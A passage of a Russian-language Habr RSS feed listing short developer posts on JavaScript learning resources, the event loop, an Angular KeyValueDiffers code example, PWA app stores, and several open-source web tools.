UEFI-приложения</a>.</p> <a href="https://habr.com/ru/posts/994724/?utm_campaign=994724&amp;utm_source=habrahabr&amp;utm_medium=rss">Читать дальше &rarr;</a>]]></description>
      
    <pubDate>Tue, 10 Feb 2026 06:25:45 GMT</pubDate>
    <dc:creator><![CDATA[atomlib]]></dc:creator>
      
      <category><![CDATA[UEFI]]></category><category><![CDATA[извращения]]></category><category><![CDATA[программирование]]></category><category><![CDATA[личные проекты]]></category><category><![CDATA[open source]]></category><category><![CDATA[JavaScript]]></category><category><![CDATA[Duktape]]></category><category><![CDATA[SkiftOS]]></category><category><![CDATA[операционные системы]]></category><category><![CDATA[ненормальное программирование]]></category>
  </item>
  

	
  

  

  

    

  

  
  <item>
    <title><![CDATA[Пост @denis-19 — JavaScript (+3) — 03.02.2026 05:32]]></title>
    <guid isPermaLink="true">https://habr.com/ru/posts/992052/</guid>
    <link>https://habr.com/ru/posts/992052/?utm_campaign=992052&amp;utm_source=habrahabr&amp;utm_medium=rss</link>
    <description><![CDATA[<p>Открытый учебный проект <a href="https://github.com/Solomonkassa/javascript-mastery" rel="noopener noreferrer nofollow">JavaScript Mastery&nbsp;— Complete Learning Path</a>&nbsp;— это курс для&nbsp;изучения языка программирования JavaScript. Энтузиасты собрали более 500&nbsp;учебных материалов&nbsp;—&nbsp;репозиторий заменяет буквально 4&nbsp;года учёбы в&nbsp;университете. Есть вся база от&nbsp;определения переменных до&nbsp;ООП, замыканий и других сложных, но&nbsp;функциональных концепций. Сотни упражнений для&nbsp;повторения материалов и закрепления знаний. Примеры кода, визуализация всех концепций, каждый учебный пример авторы разжёвывают до&nbsp;последней строчки. В&nbsp;конце есть идеи пет‑проектов, чтобы закрепить знания. В проекте есть гайд для&nbsp;подготовки к&nbsp;собеседованиям со всеми актуальными вопросами.</p><figure class="full-width "><img src="https://habrastorage.org/getpro/habr/upload_files/3ce/905/d88/3ce905d88ef7a0460f7dfa8bc1932d30.jpg" width="890" height="697"></figure> <a href="https://habr.com/ru/posts/992052/?utm_campaign=992052&amp;utm_source=habrahabr&amp;utm_medium=rss">Читать дальше &rarr;</a>]]></description>
      
    <pubDate>Tue, 03 Feb 2026 02:32:13 GMT</pubDate>
    <dc:creator><![CDATA[denis-19]]></dc:creator>
      
      <category><![CDATA[JavaScript Mastery]]></category>
  </item>
  

	
  

  

  

    

  

  
  <item>
    <title><![CDATA[Пост @tatapstar — JavaScript (+4) — 31.01.2026 09:54]]></title>
    <guid isPermaLink="true">https://habr.com/ru/posts/991232/</guid>
    <link>https://habr.com/ru/posts/991232/?utm_campaign=991232&amp;utm_source=habrahabr&amp;utm_medium=rss</link>
    <description><![CDATA[<p>А как? </p><p>Как? </p><p>Реально, как? Скажите мне. Почему это происходит так.. </p> <a href="https://habr.com/ru/posts/991232/?utm_campaign=991232&amp;utm_source=habrahabr&amp;utm_medium=rss">Читать дальше &rarr;</a>]]></description>
      
    <pubDate>Sat, 31 Jan 2026 06:54:50 GMT</pubDate>
    <dc:creator><![CDATA[tatapstar]]></dc:creator>
      
      <category><![CDATA[разработка]]></category>
  </item>
  

	
  

  

  

    

  

  
  <item>
    <title><![CDATA[Пост @TrexSelectel — Блог компании Selectel (+4) — N/P]]></title>
    <guid isPermaLink="true">https://habr.com/ru/companies/selectel/posts/987972/</guid>
    <link>https://habr.com/ru/companies/selectel/posts/987972/?utm_campaign=987972&amp;utm_source=habrahabr&amp;utm_medium=rss</link>
    <description><![CDATA[<p><strong>Selectel открыл первую часть курса по JavaScript</strong></p><figure class="full-width "><img src="https://habrastorage.org/getpro/habr/upload_files/fe6/df0/d1a/fe6df0d1a293cd6a21974efc66c0e63a.jpg" width="2688" height="1296"></figure><p>Привет, Хабр! Новичкам бывает трудно сделать первый шаг в программировании. В интернете много сомнительных курсов, а качественные требуют финансовых вложений и несколько месяцев на изучение. </p><p>Мы в Selectel подготовили <a href="https://study.selectel.ru/javascript_course/?utm_source=habr.com&amp;utm_medium=referral&amp;utm_campaign=course_post_javascript_260126_content" rel="noopener noreferrer nofollow">бесплатный курс</a>, который поможет быстро и без лишних затрат изучить основы JavaScript. В первую часть входят три модуля. Вы узнаете:&nbsp;</p><ul><li><p>для чего разработчики используют JavaScript,</p></li><li><p>как работать с со скриптами, веб-страницами и переменными,</p></li><li><p>как создать рабочее окружение на IT-инфраструктуре Selectel.</p></li></ul><p>Участники курса смогут бесплатно протестировать сервисы Selectel, а по итогам тестирования — получить сертификат о прохождении.&nbsp;</p><p><a href="https://study.selectel.ru/javascript_course/?utm_source=habr.com&amp;utm_medium=referral&amp;utm_campaign=course_post_javascript_260126_content" rel="noopener noreferrer nofollow">Начните изучение курса прямо сейчас →&nbsp;</a></p> <a href="https://habr.com/ru/posts/987972/?utm_campaign=987972&amp;utm_source=habrahabr&amp;utm_medium=rss">Читать дальше &rarr;</a>]]></description>
      
    <pubDate>Thu, 29 Jan 2026 09:00:38 GMT</pubDate>
    <dc:creator><![CDATA[TrexSelectel (Selectel)]]></dc:creator>
      
      <category><![CDATA[selectel]]></category><category><![CDATA[веб-разработка]]></category><category><![CDATA[javascript]]></category><category><![CDATA[курс]]></category><category><![CDATA[онлайн-курсы]]></category><category><![CDATA[программирование]]></category><category><![CDATA[обучение]]></category>
  </item>
  

	
  

  

  

    

  

  
  <item>
    <title><![CDATA[Пост @box-570 — JavaScript — 28.01.2026 17:08]]></title>
    <guid isPermaLink="true">https://habr.com/ru/posts/990106/</guid>
    <link>https://habr.com/ru/posts/990106/?utm_campaign=990106&amp;utm_source=habrahabr&amp;utm_medium=rss</link>
    <description><![CDATA[<p>Макротасок не существует.</p><p>Один из самых частых вопросов на собеседованиях для frontend разработчиков: Расскажите про событийный цикл? как выполняются таски? что такое микротаски и макротаски?</p><p>В архитектуре event loop вообще нет такого слова как макротаски(macrotasks). Я вообще не смог найти ни одной спецификации, где было бы написано слово macrotask. Кроме <a href="https://promisesaplus.com/" rel="noopener noreferrer nofollow">Promises/A+</a>. Так в чем же разница между Promise и setTimeout? Почему Promise всегда(не всегда) будут исполняться в приоритете?</p><p>Браузер имеет несколько очередей задач (task queues) для разных типов тасок. Таска - это любой javascript код, запланированный стандартными механизмами, такие как запуск программы, запуск события или коллбэки. Помимо этого вы можете создать таску с помощью API, например WindowTimers(setTimeout, setInterval). Микротаски же в свою очередь такие же конструкции javascript, которые позволяют выполнять операции не дожидаясь запуска нового цикла event loop (process.nextTick, Promises, queueMicrotask). Так вот, так как setTimeout, setInterval относятся к браузерному API, то очередь микротасок, таких как Promise и т.д. всегда будет в приоритете выполнения, перед браузерным API.</p><p>При этом стоит учитывать, что браузерные API исполняют таски в разные очереди и по разному, например <a href="https://developer.mozilla.org/en-US/docs/Web/API/MutationObserver" rel="noopener noreferrer nofollow">MutationObserver </a> среагировавший после того, как в очередь микротасок попал успешный промис от функции fetch, будет выполнен раньше. То есть вставка в очередь тасок может быть не только как push. Таким образом то, что называют макротасками - это таски браузерного API, которые выполняются по одной на цикл движка браузера.</p><p>Полезные материалы</p><ol><li><p>W3 (<a href="https://www.w3.org/TR/2011/WD-html5-20110525/webappapis.html#task-queue" rel="noopener noreferrer nofollow">https://www.w3.org/TR/2011/WD-html5-20110525/webappapis.html#task-queue</a>)</p></li><li><p>MDN Event Loop (<a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop" rel="noopener noreferrer nofollow">https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop</a>)</p></li><li><p>Tasks, microtasks, queues and schedules (<a href="https://jakearchibald.com/2015/tasks-microtasks-queues-and-schedules" rel="noopener noreferrer nofollow">https://jakearchibald.com/2015/tasks-microtasks-queues-and-schedules</a>)</p></li><li><p>Филипп Робертс: Что за чертовщина такая event loop? | JSConf EU 2014 (<a href="https://www.youtube.com/watch?v=8aGhZQkoFbQ" rel="noopener noreferrer nofollow">https://www.youtube.com/watch?v=8aGhZQkoFbQ</a>)</p></li><li><p>Джейк Арчибальд. В цикле - JSConf.Asia (<a href="https://www.youtube.com/watch?v=cCOL7MC4Pl0" rel="noopener noreferrer nofollow">https://www.youtube.com/watch?v=cCOL7MC4Pl0</a>)</p></li></ol> <a href="https://habr.com/ru/posts/990106/?utm_campaign=990106&amp;utm_source=habrahabr&amp;utm_medium=rss">Читать дальше &rarr;</a>]]></description>
      
    <pubDate>Wed, 28 Jan 2026 14:08:07 GMT</pubDate>
    <dc:creator><![CDATA[box-570]]></dc:creator>
      
      <category><![CDATA[javascript]]></category><category><![CDATA[eventloop]]></category>
  </item>
  

	
  

  

  

    

  

  
  <item>
    <title><![CDATA[Пост @Prikalel — CSS (+3) — 27.01.2026 00:06]]></title>
    <guid isPermaLink="true">https://habr.com/ru/posts/989308/</guid>
    <link>https://habr.com/ru/posts/989308/?utm_campaign=989308&amp;utm_source=habrahabr&amp;utm_medium=rss</link>
    <description><![CDATA[<p><strong>Игра на джем "Rush lvl 8"</strong></p><iframe id="6977d674c0ff20607677b88e" src="https://embedd.srv.habr.com/iframe/6977d674c0ff20607677b88e" class="embed_video embed__content" allowfullscreen="true"></iframe><p>Ребята всем привет, опубликовал на джем игру простую, но довольно интересную.</p><p>Мне посоветовали её на гитхаб pages выложить, что я и сделал.</p><p>Если хотите - зацените геймплей и если хотите непосредственно попробовать то вот ссылка</p><p><a href="https://prikalel.github.io/they-grow/" rel="noopener noreferrer nofollow">https://prikalel.github.io/they-grow/</a></p><p>Если хотите поддержать то оставьте комментарий под постом или зайдите на <a href="https://myindie.ru/games/game/they-groth" rel="noopener noreferrer nofollow">страницу джема</a> и поставьте лайк мне будет очень приятно)</p> <a href="https://habr.com/ru/posts/989308/?utm_campaign=989308&amp;utm_source=habrahabr&amp;utm_medium=rss">Читать дальше &rarr;</a>]]></description>
      
    <pubDate>Mon, 26 Jan 2026 21:06:57 GMT</pubDate>
    <dc:creator><![CDATA[Prikalel]]></dc:creator>
      
      <category><![CDATA[electron]]></category><category><![CDATA[jam]]></category><category><![CDATA[gamejam]]></category><category><![CDATA[javascript]]></category>
  </item>
  

	
  

  

  

    

  

  
  <item>
    <title><![CDATA[Пост @denis-19 — Обработка изображений (+3) — 26.01.2026 09:49]]></title>
    <guid isPermaLink="true">https://habr.com/ru/posts/988930/</guid>
    <link>https://habr.com/ru/posts/988930/?utm_campaign=988930&amp;utm_source=habrahabr&amp;utm_medium=rss</link>
    <description><![CDATA[<p><a href="https://github.com/steffest/DPaint-js" rel="noopener noreferrer nofollow">Представлен</a> открытый веб-редактор изображений <a href="https://www.stef.be/dpaint/" rel="noopener noreferrer nofollow">DPaint.js</a> (онлайн-версия) на JavaScript, созданный по образцу легендарного Deluxe Paint, с упором на ретро-форматы файлов Amiga. Помимо современных форматов изображений, DPaint.js может читать и записывать файлы иконок Amiga и изображения IFF ILBM.</p><p>Основные возможности проекта: слои, выделение, маскирование, инструменты трансформации, эффекты и фильтры, множественная отмена/повтор действий, копирование/вставка из любой другой программы обработки изображений или источника изображений, настраиваемые инструменты дизеринга и циклическая смена цветов.</p><figure class="full-width "><img src="https://habrastorage.org/getpro/habr/upload_files/17a/4a7/9df/17a4a79dffe1dc6bd4140185ba21f6e0.png" width="692" height="822"></figure> <a href="https://habr.com/ru/posts/988930/?utm_campaign=988930&amp;utm_source=habrahabr&amp;utm_medium=rss">Читать дальше &rarr;</a>]]></description>
      
    <pubDate>Mon, 26 Jan 2026 06:49:47 GMT</pubDate>
    <dc:creator><![CDATA[denis-19]]></dc:creator>
      
      <category><![CDATA[DPaint.js]]></category>
  </item>
  

	
  

  

  

    

  

  
  <item>
    <title><![CDATA[Пост @AlekseyVY — Angular (+3) — 25.01.2026 22:01]]></title>
    <guid isPermaLink="true">https://habr.com/ru/posts/988838/</guid>
    <link>https://habr.com/ru/posts/988838/?utm_campaign=988838&amp;utm_source=habrahabr&amp;utm_medium=rss</link>
    <description><![CDATA[<p>Коллеги привет, искал себе решение как реагировать на изменения в объекте и нашел отличный сервис, который используется внутри директив таких как NgClass и NgStyle.</p><p>KeyValueDiffers позволяет создать KeyValueDiffer для сравнения изменений текущих пар ключ-значение с новыми. Если вы используете иммутабельные объекты, то можно просто обернуть все в эффект, ну а если вы наследники крутого легаси, где все объекты мутируются по ссылке, тогда проверку нужно вешать в DoCheck, чтобы реагировать на  каждый тик change detection. </p><p>Накидал оба примера, чтобы поделиться с вами: </p><p>Иммутабельный с effect:</p><pre><code class="typescript">
@Component({
  selector: 'app-test',
  template: ''
})
export class TestComponent {
  public state = input.required&lt;Record&lt;string, string | number&gt;&gt;();
  
  private differs = inject(KeyValueDiffers);
  private differ: KeyValueDiffer&lt;string, string | number&gt; | undefined;

  constructor() {
    effect(() =&gt; {
      const currentState = this.state();
      
      // создаем диффер, если он еще не создан
      if (!this.differ) {
        this.differ = this.differs.find(currentState).create();
      }

      // Эффект будет перезапускаться при изменении инпут-сигнала.
      const changes = this.differ.diff(currentState);

      // только если есть изменения
      if (changes) {
        changes.forEachAddedItem((record) =&gt; {
          console.log(`В объект добавлена запись: Ключ: ${record.key} | Значение: ${record.currentValue}`)
        });

        changes.forEachChangedItem((record) =&gt; {
          console.log(`Изменено: ${record.key} | Новое значение: ${record.currentValue}`)
        });

        changes.forEachRemovedItem((record) =&gt; {
          console.log(`Удалено: ${record.key}`)
        });
        
        // Остальные методы forEachItem и forEachPreviousItem по необходимости
      }
    })
  }
}
</code></pre><p>Легаси подход, которого, надеюсь, ни у кого нет, но на всякий случай :) </p><pre><code class="typescript">@Component({
  selector: 'app-legacy',
  template: ''
})
export class LegacyComponent implements OnInit, DoCheck {
  @Input({ required: true }) state!: Record&lt;string, string | number&gt;;
  
  private differs = inject(KeyValueDiffers);
  private differ: KeyValueDiffer&lt;string, string | number&gt; | undefined;

  ngOnInit() {
    // Создаем диффер при инициализации
    this.differ = this.differs.find(this.state).create();
  }

  // Запускается на каждый тик change detection, так как мутации по-другому не отследим.
  ngDoCheck(): void {
    const changes = this.differ?.diff(this.state);

    if (changes) {
      changes.forEachAddedItem((record) =&gt; {
        console.log(`В объект добавлена запись: Ключ: ${record.key} | Значение: ${record.currentValue}`)
      });

      changes.forEachChangedItem((record) =&gt; {
        console.log(`Значение изменилось: ${record.key}`)
      });

      changes.forEachRemovedItem((record) =&gt; {
        console.log(`Запись удалена: ${record.key}`)
      });

      // Остальные методы forEachItem и forEachPreviousItem по необходимости
    }
  }
}
</code></pre> <a href="https://habr.com/ru/posts/988838/?utm_campaign=988838&amp;utm_source=habrahabr&amp;utm_medium=rss">Читать дальше &rarr;</a>]]></description>
      
    <pubDate>Sun, 25 Jan 2026 19:01:01 GMT</pubDate>
    <dc:creator><![CDATA[AlekseyVY]]></dc:creator>
      
      <category><![CDATA[angular]]></category><category><![CDATA[KeyValueDiffers]]></category><category><![CDATA[signals]]></category><category><![CDATA[change detection]]></category><category><![CDATA[ngDoCheck]]></category><category><![CDATA[perfomance]]></category><category><![CDATA[effect]]></category><category><![CDATA[mutability]]></category><category><![CDATA[typescript]]></category><category><![CDATA[frontend development]]></category>
  </item>
  

	
  

  

  

    

  

  
  <item>
    <title><![CDATA[Пост @VamWebStore — JavaScript (+4) — 24.01.2026 13:19]]></title>
    <guid isPermaLink="true">https://habr.com/ru/posts/988500/</guid>
    <link>https://habr.com/ru/posts/988500/?utm_campaign=988500&amp;utm_source=habrahabr&amp;utm_medium=rss</link>
    <description><![CDATA[<figure class="full-width "><img src="https://habrastorage.org/getpro/habr/upload_files/adb/e9b/083/adbe9b08338d590134b6ba8ce5c9eb54.webp" width="1920" height="1080"></figure><p>Почему у PWA до сих пор нет полноценного «магазина приложений» — возможно ли это вообще?</p><p>Всем привет.</p><p>В течение последних месяцев, работая с PWA-приложениями, мы постоянно сталкивались с одним и тем же вопросом:</p><p>Почему в 2025 году у PWA до сих пор нет настоящего App Store?</p><p>Не просто каталога ссылок, а полноценного магазина приложений — знакомого, вызывающего доверие и понятного обычным пользователям.</p><p>При изучении существующих PWA-магазинов и каталогов обнаруживаются одни и те же повторяющиеся проблемы.</p><p>⸻</p><ol><li><p>Установка остаётся непонятной для пользователей</p></li></ol><p>Даже сегодня установка PWA вызывает затруднения у обычных пользователей.</p><p>Большинство из них не понимают:<br> •	когда приложение действительно можно установить,<br> •	почему инструкции по установке не совпадают с реальными шагами в их браузере или на устройстве.</p><p>Во многих PWA-каталогах всё ограничивается текстовой инструкцией — и на этом взаимодействие с сервисом фактически заканчивается.</p><p>⸻</p><ol start="2"><li><p>Отсутствие доверия</p></li></ol><p>Со стороны пользователя это проявляется в следующем:<br> •	нет содержательных отзывов,<br> •	отсутствует история установок,<br> •	нет ощущения личной библиотеки приложений.</p><p>Со стороны разработчиков наблюдаются крайности:<br> •	либо любой может опубликовать приложение без подтверждения права собственности,<br> •	либо проверка обязательна, но сложна и ограничена одним способом (например, через DNS-записи).</p><p>В итоге доверие не формируется ни у одной из сторон.</p><p>⸻</p><ol start="3"><li><p>Разработчики — второстепенные участники экосистемы</p></li></ol><p>Распространённые проблемы:<br> •	медленные и неудобные процессы публикации,<br> •	почти полное отсутствие автоматического заполнения данных из манифеста,<br> •	нехватка инструментов, которые были бы полезны разработчику ещё до установки приложения пользователем.</p><p>Экосистема не стимулирует разработчиков поддерживать и развивать свои PWA.</p><p>⸻</p><ol start="4"><li><p>Интерфейс не воспринимается как «нативный»</p></li></ol><p>Это тонкий, но важный момент.</p><p>Если магазин:<br> •	выглядит как обычный веб-сайт,<br> •	не вызывает ассоциаций с App Store или Google Play,</p><p>пользователи инстинктивно доверяют ему меньше — даже если сами приложения качественные.</p><p>⸻</p><p>При этом сами PWA как технология за последние годы заметно повзрослели: офлайн-режим, push-уведомления, installability, Web APIs.<br> Однако именно слой распространения и доверия остаётся самым слабым звеном.</p><p>⸻</p><p>Главный вопрос, к которому мы пришли</p><p>Возможно ли вообще создать PWA-магазин, который:<br> •	пользователи будут воспринимать как настоящий магазин приложений,<br> •	не станет источником боли для разработчиков,<br> •	сможет устойчиво развиваться, а не быть заброшенным через несколько месяцев?</p><p>Или же сама идея магазина PWA в текущей экосистеме изначально ошибочна?</p><p>Будет интересно узнать ваш опыт.</p><p>Вы публиковали PWA-приложения в существующих магазинах или каталогах?<br> Что вызывало наибольшие сложности — у разработчиков или у пользователей?</p> <a href="https://habr.com/ru/posts/988500/?utm_campaign=988500&amp;utm_source=habrahabr&amp;utm_medium=rss">Читать дальше &rarr;</a>]]></description>
      
    <pubDate>Sat, 24 Jan 2026 10:19:19 GMT</pubDate>
    <dc:creator><![CDATA[VamWebStore]]></dc:creator>
      
      <category><![CDATA[pwa]]></category><category><![CDATA[web developement]]></category><category><![CDATA[web apps]]></category><category><![CDATA[app store]]></category><category><![CDATA[дистрибуция]]></category><category><![CDATA[прогрессивные веб-приложения]]></category><category><![CDATA[ux]]></category><category><![CDATA[store]]></category><category><![CDATA[platform]]></category><category><![CDATA[инструкции]]></category>
  </item>
  

	
  

  

  

    

  

  
  <item>
    <title><![CDATA[Пост @denis-19 — Сетевое оборудование (+4) — 19.01.2026 18:19]]></title>
    <guid isPermaLink="true">https://habr.com/ru/posts/986720/</guid>
    <link>https://habr.com/ru/posts/986720/?utm_campaign=986720&amp;utm_source=habrahabr&amp;utm_medium=rss</link>
    <description><![CDATA[<p><a href="https://github.com/apenwarr/blip" rel="noopener noreferrer nofollow">Открытый проект blip</a> в режиме онлайн <a href="https://gfblip.appspot.com/" rel="noopener noreferrer nofollow">позволяет</a> визуально оценить сетевую задержку (латентность или latency) при передачи данных от ПК до разных серверов в мире. Решение работает в браузере на любом ПК, ноутбуке, планшете, смартфоне с поддержкой javascript и HTML canvas.</p><figure class="full-width "><img src="https://habrastorage.org/getpro/habr/upload_files/154/a75/469/154a7546968cd5443f4aa298cd940b5f.png" width="1920" height="909"></figure> <a href="https://habr.com/ru/posts/986720/?utm_campaign=986720&amp;utm_source=habrahabr&amp;utm_medium=rss">Читать дальше &rarr;</a>]]></description>
      
    <pubDate>Mon, 19 Jan 2026 15:19:42 GMT</pubDate>
    <dc:creator><![CDATA[denis-19]]></dc:creator>
      
      <category><![CDATA[blip]]></category><category><![CDATA[latency]]></category>
  </item>
  

	
  

  

  

    

  

  
  <item>
    <title><![CDATA[Пост @nin-jin — $mol (+3) — 15.01.2026 23:41]]></title>
    <guid isPermaLink="true">https://habr.com/ru/posts/985676/</guid>
    <link>https://habr.com/ru/posts/985676/?utm_campaign=985676&amp;utm_source=habrahabr&amp;utm_medium=rss</link>
    <description><![CDATA[<p><br><strong><a href="https://youtu.be/psugXzYCa1E" rel="noopener noreferrer nofollow">ESLint, Prettier и что не так с насаждением единого стиля</a></strong></p><iframe id="69694f84a9ac3d23668a7d14" src="https://embedd.srv.habr.com/iframe/69694f84a9ac3d23668a7d14" class="embed_video embed__content" allowfullscreen="true"></iframe><p>Упомянутые материалы:</p><ul><li><p><a href="https://mol.hyoo.ru/#!section=docs/=5t5qb6_8ofefk" rel="noopener noreferrer nofollow">Автоформатирование</a></p></li><li><p><a href="https://mol.hyoo.ru/#!section=docs/=cz8cl9_h5n5ys" rel="noopener noreferrer nofollow">Отступы</a></p></li><li><p><a href="https://mol.hyoo.ru/#!section=docs/=yhm6e9_l5h97i" rel="noopener noreferrer nofollow">Форматирование имён</a></p></li></ul><p><em>+</em><a href="https://boosty.to/hyoo" rel="noopener noreferrer nofollow"><em> Копилка благодарностей</em></a></p> <a href="https://habr.com/ru/posts/985676/?utm_campaign=985676&amp;utm_source=habrahabr&amp;utm_medium=rss">Читать дальше &rarr;</a>]]></description>
      
    <pubDate>Thu, 15 Jan 2026 20:41:08 GMT</pubDate>
    <dc:creator><![CDATA[nin-jin]]></dc:creator>
      
      <category><![CDATA[eslint]]></category><category><![CDATA[prettier]]></category>
  </item>
  

	
  

  

  

      

      

      

    
  </channel>
</rss>
